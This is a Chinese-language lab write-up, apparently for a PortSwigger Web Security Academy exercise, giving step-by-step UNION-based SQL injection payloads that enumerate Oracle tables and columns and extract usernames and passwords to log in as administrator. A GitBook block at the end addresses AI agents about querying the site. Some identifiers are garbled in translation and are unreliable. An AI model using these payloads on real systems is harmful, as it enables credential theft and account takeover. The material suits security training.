> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/database-enumeration-on-oracle.md).

# Oracle 数据库枚举

Oracle 数据库枚举笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入攻击：列出 Oracle 中的数据库内容

* **上下文 / 漏洞：** `类别` 易受 SQL 注入攻击的过滤器（结果在响应中返回）。使用 `ORDER BY` / `UNION` 可用于枚举并从 Oracle 系统视图中提取数据。
* **目标：** 识别用户表，列出其列，提取 `用户名` / `密码` 配对并以……身份连接 `administrator`.

### 简要步骤（提供有效载荷）

1. **确定列数**/ 测试 `ORDER BY` 逐步递增直到出错：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. 验证 UNION SELECT（列数与原始请求相同）：

```sql
' UNION SELECT '1','2'-- -
```

3. **列出表（Oracle）** — 使用 `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

（调整 `NULL`/ 列数根据易受攻击的查询。）

4. 列出已识别表的列（此处为 USERS/ JREIFY）：

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

注意：Oracle 会将未以大写形式列出的名称标准化。

5. 提取内容（导出）— 以下为已识别列示例：

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

调整顺序/类型；使用 `TO_CHAR`, `CAST` 或 `NULL` 如有必要以匹配类型。

6. **管理员登录**

* 在登录页面使用泄露的凭据。
* 或者，如有必要，在确认列后执行身份验证绕过。

有用的技术细节

* 如果由于类型不同导致 UNION 失败，请将列替换为 null 或 TO/CHAR(col) 以强制兼容。
* 元数据视图（ALL/TABLES、ALL/TAB/COLUMNS、DBA/\*）可能会受数据库账户权限限制；访问权限因应用权限而异。
* Oracle 在比较 table/name = 'USERS/ JREIFY' 时通常要求名称使用大写，除非该表是用引号创建的。

影响

* 标识符兼容性、提升访问权限、数据外泄/篡改、完全应用控制。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.